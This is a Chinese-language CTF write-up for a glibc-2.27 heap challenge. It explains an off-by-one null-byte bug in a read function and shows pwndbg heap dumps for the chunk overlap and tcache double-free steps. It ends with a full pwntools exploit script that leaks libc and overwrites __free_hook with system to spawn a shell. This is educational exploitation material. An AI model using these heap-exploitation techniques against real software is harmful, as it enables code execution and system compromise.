该程序对于输入有很严格的控制,使得我们很难手动编辑出一个 prev_size ,靶机环境是 glibc-2.27 。
源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/source.zip 。
目录
安全防护
ex@Ex:~/temp2$ checksec source
[*] '/home/ex/temp2/source'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
溢出点
void __fastcall safe_read(char *a1, int a2)
{
unsigned int v2; // [rsp+14h] [rbp-Ch]
v2 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v2], 1uLL);
if ( a2 - 1 < v2 || !a1[v2] || a1[v2] == 10 )
break;
++v2;
}
a1[v2] = 0;
a1[a2] = 0;
}
else
{
*a1 = 0;
}
}
safe_read
函数存在off by one
,由于malloc
的size是固定的,而且chunk大小恰好是0x100
,由于存在null 截断
,所以我们很难构造prev_size
。
思路
利用unlink
来构造prev_size
,然后off by one
使得chunk overlap
,然后double free
,最重要的是利用top chunk
来保存prev_size
和绕过unlink
的检查。
First: 利用unlink
来构造prev_size
。
for i in range(10):
malloc(0xf0, '\n')
for i in range(9):
free(i)
free(9)
调试结果如下:
pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 513,
fd = 0x7fdc14b3fca0 <main_arena+96>,
bk = 0x7fdc14b3fca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095c00 {
mchunk_prev_size = 512,
mchunk_size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 131841,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
注意这里必须要让最后一个chunk
和top chunk
相邻,这样在free
的时候会直接和top chunk
合并,否则放入unsorted bin
的话,下次malloc
出来时prev_size
会被冲刷掉。
Second: off by one
使得chunk overlap
,
for i in range(10):
malloc(0xf0, '\n')
for i in range(7):
free(i)
free(7)
malloc(0xf0, '\n') # 0
free(8)
# off by one
malloc(0xf8, '\n') # 1
free(0)
# chunk overlap
free(9)
其调试结果如下:
pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x7fdc14b3fca0 <main_arena+96>,
bk = 0x7fdc14b3fca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095b00 {
mchunk_prev_size = 256,
mchunk_size = 256,
fd = 0x55cc3f095400,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095c00 {
mchunk_prev_size = 512,
mchunk_size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 131841,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/22gx 0x55cc3f095250
0x55cc3f095250: 0x0000000000000000 0x00000000000000b1
0x55cc3f095260: 0x0000000000000000 0x0000000000000000
0x55cc3f095270: 0x000055cc3f095b10 0x00000000000000f8
0x55cc3f095280: 0x0000000000000000 0x0000000000000000
0x55cc3f095290: 0x0000000000000000 0x0000000000000000
0x55cc3f0952a0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952b0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952c0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952d0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952e0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952f0: 0x000055cc3f095c10 0x00000000000000f0
pwndbg> bin
tcachebins
0x100 [ 7]: 0x55cc3f095310 —▸ 0x55cc3f095410 —▸ 0x55cc3f095510 —▸ 0x55cc3f095610 —▸ 0x55cc3f095710 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55cc3f095a00 —▸ 0x7fdc14b3fca0 (main_arena+96) ◂— 0x55cc3f095a00
smallbins
empty
largebins
empty
pwndbg>
这里要注意,由于要chunk overlap
的中间仅有一个chunk
,原本是过不了检查的,但是由于要free
的chunk
和top chunk
相邻,使得其直接和top chunk
合并,最终巧妙的绕过检查。
End: 完成上面的工作后,之后便是用double free
泄露信息,劫持hook。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './source'
# execve_file = './secret_of_my_heart.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10402)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def malloc(size, content):
sh.sendafter('which command?\n> ', '1'.ljust(4, '\0'))
sh.sendafter('size \n> ', str(size).ljust(4, '\0'))
sh.sendafter('content \n> ', content)
def free(index):
sh.sendafter('which command?\n> ', '2'.ljust(4, '\0'))
sh.sendafter('index \n> ', str(index).ljust(4, '\0'))
def puts(index):
sh.sendafter('which command?\n> ', '3'.ljust(4, '\0'))
sh.sendafter('index \n> ', str(index).ljust(4, '\0'))
for i in range(10):
malloc(0xf0, '\n')
for i in range(9):
free(i)
free(9)
for i in range(10):
malloc(0xf0, '\n')
for i in range(7):
free(i)
free(7)
malloc(0xf0, '\n') # 0
free(8)
# off by one
malloc(0xf8, '\n') # 1
free(0)
# chunk overlap
free(9)
for i in range(9):
malloc(0xf0, '/bin/sh\0')
free(0)
free(1)
puts(9)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x310
log.success('heap_addr: ' + hex(heap_addr))
malloc(0xf0, '\0') # 0
free(2)
free(3)
free(4)
free(5)
# double free
free(0)
free(9)
malloc(0xf0, p64(heap_addr + 0x260))
malloc(0xf0, p64(0))
malloc(0x8, p64(heap_addr + 0xa18)[:7])
puts(0)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
# double free
free(1)
malloc(0xf0, p64(heap_addr + 0x260))
malloc(0xf0, p64(0))
malloc(0x8, p64(heap_addr + 0xa10)[:7])
# double free
free(1)
free(3)
malloc(0x8, p64(libc_addr + libc.symbols['__free_hook'])[:7])
malloc(0xf0, '\0')
malloc(0x8, p64(libc_addr + libc.symbols['system'])[:7])
free(0)
sh.interactive()
clear()